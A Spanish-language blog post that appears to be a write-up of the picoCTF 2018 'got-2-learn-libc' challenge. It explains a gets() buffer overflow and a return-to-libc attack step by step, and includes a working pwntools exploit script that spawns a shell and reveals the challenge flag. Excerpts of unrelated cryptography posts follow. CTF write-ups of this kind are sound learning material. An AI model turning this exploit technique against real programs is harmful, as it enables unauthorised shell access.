Ir al contenido principal

Binary Exploitation (V): Solución Reto picoCTF 2018 "got-2-learn-libc"

En este post pongo la solución a otro de los retos de la categoría 'Binary Exploitation' de la plataforma picoCTF 2018.

El desafío en cuestión, que lleva el título "got-2-learn-libc", presenta en mi opinión un nivel de dificultad medio (☆☆).

got-2-learn-libc - Points: 250:

Su enunciado dice lo siguiente: '
This program gives you the address of some system calls. Can you get a shell? You can find the program in /problems/got-2-learn-libc_4_526cc290dde8d914a30538d3d0ac4ef1 on the shell server. Source'.

Se proporcionan dos archivos: un ejecutable (vuln) y un fichero con el código fuente (vuln.c).

Y como pistas ('Hints') se nos dan las siguientes:

'try returning to systems calls to leak information'.
'don't forget you can always return back to main()'.

Solución: Lo primero que hago es ejecutar el programa; se muestran una serie de direcciones de algunas llamadas al sistema, se me pide que introduzca una cadena, incluyo 'A', se muestra la cadena que he introducido y el programa finaliza:
Después utilizo el comando file para ver qué tipo de ejecutable es vuln y veo que se trata de un binario con formato ELF (Executable and Linkable format) y que la arquitectura es de 32-bit. 
Echo ahora un vistazo al código fuente (vuln.c):

#include
#include
#include
#include
#include

#define BUFSIZE 148
#define FLAGSIZE 128

char useful_string[16] = "/bin/sh"; /* Maybe this can be used to spawn a shell? */

void vuln(){
  char buf[BUFSIZE];
  puts("Enter a string:");
  gets(buf);
  puts(buf);
  puts("Thanks! Exiting now...");
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);

  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  puts("Here are some useful addresses:\n");

  printf("puts: %p\n", puts);
  printf("fflush %p\n", fflush);
  printf("read: %p\n", read);
  printf("write: %p\n", write);
  printf("useful_string: %p\n", useful_string);

  printf("\n");

  vuln();

  return 0;
}

Visto el programa fuente entiendo que hay que utilizar un ataque 'return-to-libc' para poder usar el código de la función system() de la librería libc para vulnerar el programa. Es decir, mediante un desbordamiento de 'buffer' voy a sobrescribir la dirección de retorno de la función vuln para que apunte a la función system() de libc, a la que llamaré con el argumento /bin/shy obtener así una 'shell'.

La dirección de la función system() es diferente cada vez, sin embargo la diferencia o desplazamiento entre la dirección de otra función de la librería libc, por ejemplo puts(), y la dirección de system() es siempre la misma por lo que puedo utilizar, por ejemplo, el software gdb para encontrar ambas direcciones y calcular ese desplazamiento.
Desensamblo la función principal (main):
Desensamblo la función vuln:
Pongo un punto de ruptura ('breakpoint') en la última instrucción (vuln+98), ejecuto el programa, introduzco 'A' como cadena, se muestra la cadena que he incluido y el programa se detiene en el punto de ruptura que he puesto, y después obtengo las direcciones de las funciones puts() y system() para calcular la diferencia o desplazamiento entre ambas:
Una vez obtenidas ambas direcciones, puedo ver que el desplazamiento es 0xf7669150 - 0xf7644950 = -149504 (en decimal). Ahora, conocido el desplazamiento, puedo llamar a la función system(), con el argumento /bin/sh, usando un desbordamiento de 'buffer' proporcionado por la llamada a gets y recuperar la 'flag'.

Para tomar el control del flujo del programa y que tras finalizarse la ejecución de la función vuln el programa salte a la función system() actúo de la siguiente manera:

1.- Calculo la diferencia que existe entre la posición de inicio del 'buffer', que tiene 148 bytes de tamaño asignado, y la de inicio de la dirección de retorno de la función vuln, ya que ese será el tamaño en bytes del "relleno" inicial de la cadena a introducir antes de concatenar a la misma la dirección de inicio de la función system().

Para calcular el tamaño del "relleno" inicial de la cadena indicado en el párrafo anterior vuelvo a ejecutar el programa e introduzco una cadena que me pueda indicar que parte de la misma sobrescribe la dirección de retorno de la función vuln y obtener así el tamaño del "relleno" inicial que necesito, por ejemplo: 148 caracteres 'A' (tamaño del 'buffer') + '111122223333...'.
Y veo que la dirección de retorno se ha sobrescrito con cuatro bytes: 0x34343434 (valores hexadecimales que se corresponden en ASCII con '4444'), con lo que el tamaño del "relleno" inicial de la cadena antes de concatenar a la misma la dirección de inicio de la función system(), dirección de la función puts() - desplazamiento, es de 148 +12 = 160 bytes.

2.- Finalmente, creo el siguiente script en python para explotar la vulnerabilidad detectada en el binario:

#!/usr/bin/env python

from pwn import *

s = ssh(host = '2018shell4.picoctf.com', user='usuario', password='contraseña')
s.set_working_directory('/problems/got-2-learn-libc_4_526cc290dde8d914a30538d3d0ac4ef1')
 
p = s.process('./vuln')

lines =  p.recvuntil('Enter a string:').split('\n')

print lines
puts_address = int(lines[2].split(':')[1].strip()[2:], 16)
offset = -149504
useful_string = int(lines[6].split(':')[1].strip()[2:], 16)

log.info('Puts in: 0x{:x}'.format(puts_address))
log.info('Useful string in: 0x{:x}'.format(useful_string))

system_address = puts_address + offset

payload = 'A' * 160 + p32(system_address) + 'A' * 4 + p32(useful_string)
p.sendline(payload)
p.recv()
p.sendline('ls')
p.sendline('cat flag.txt')
p.sendline('exit')

print p.recvall()

Lo ejecuto:
Y puedo ver que la flag es: picoCTF{syc4al1s_4rE_uS3fUl_88aa45fa}

Comentarios

Entradas populares de este blog

Criptografía (I): cifrado Vigenère y criptoanálisis Kasiski

Hace unos días mi amigo Iñaki Regidor ( @Inaki_Regidor ), a quien dedico esta entrada :), compartió en las redes sociales un post titulado "Criptografía: el arte de esconder mensajes"  publicado en uno de los blogs de EiTB . En ese post se explican ciertos métodos clásicos para cifrar mensajes , entre ellos el cifrado de Vigenère , y , al final del mismo, se propone un reto consistente en descifrar un mensaje , lo que me ha animado a escribir este post sobre el método Kasiski  para atacar un cifrado polialfabético ( conociendo la clave descifrar el mensaje es muy fácil, pero lo que contaré en este post es la forma de hacerlo sin saberla ). El mensaje a descifrar es el siguiente: LNUDVMUYRMUDVLLPXAFZUEFAIOVWVMUOVMUEVMUEZCUDVSYWCIVCFGUCUNYCGALLGRCYTIJTRNNPJQOPJEMZITYLIAYYKRYEFDUDCAMAVRMZEAMBLEXPJCCQIEHPJTYXVNMLAEZTIMUOFRUFC Como ya he dicho el método de Vigenère es un sistema de sustitución polialfabético , lo que significa que, al contrario que en un sistema de

Criptografía (XXIII): cifrado de Hill (I)

En este post me propongo explicar de forma comprensible lo que he entendido sobre el cifrado de Hill , propuesto por el matemático Lester S. Hill , en 1929, y que se basa en emplear una matriz como clave  para cifrar un texto en claro y su inversa para descifrar el criptograma correspondiente . Hay tres cosas que me gustan de la criptografía clásica, además de que considero que ésta es muy didáctica a la hora de comprender los sistemas criptográficos modernos: la primera de ellas es que me "obliga" a repasar conceptos de matemáticas aprendidos hace mucho tiempo y, desgraciadamente, olvidados también hace demasiado tiempo, y, por consiguiente, que, como dice  Dani , amigo y coautor de este blog, me "obliga" a hacer "gimnasia mental"; la segunda es que, en la mayoría de las ocasiones, pueden cifrarse y descifrase los mensajes, e incluso realizarse el criptoanálisis de los criptogramas, sin más que un simple lápiz y papel, es decir, para mi es como un pasat

¿Qué significa el emblema de la profesión informática? (I)

Todas o muchas profesiones tienen un emblema que las representa simbólicamente y en el caso de la  informática: " es el establecido en la resolución de 11 de noviembre de 1977  para las titulaciones universitarias superiores de informática, y  está constituido por una figura representando en su parte central  un  núcleo toroidal de ferrita , atravesado por  hilos de lectura,  escritura e inhibición . El núcleo está rodeado por  dos ramas : una  de  laurel , como símbolo de recompensa, y la otra, de  olivo , como  símbolo de sabiduría. La  corona  será la  de la casa real  española,  y bajo el escudo se inscribirá el acrónimo de la organización. ". Veamos los diferentes elementos tomando como ejemplo el emblema del COIIE/EIIEO (Colegio Oficial de Ingenieros en Informática del País Vasco/ Euskadiko Informatikako Ingeniarien Elkargo Ofiziala ) . Pero no sólo el COIIE/EIIEO adopta el emblema establecido en dicha resolución, sino que éste se adopta también como im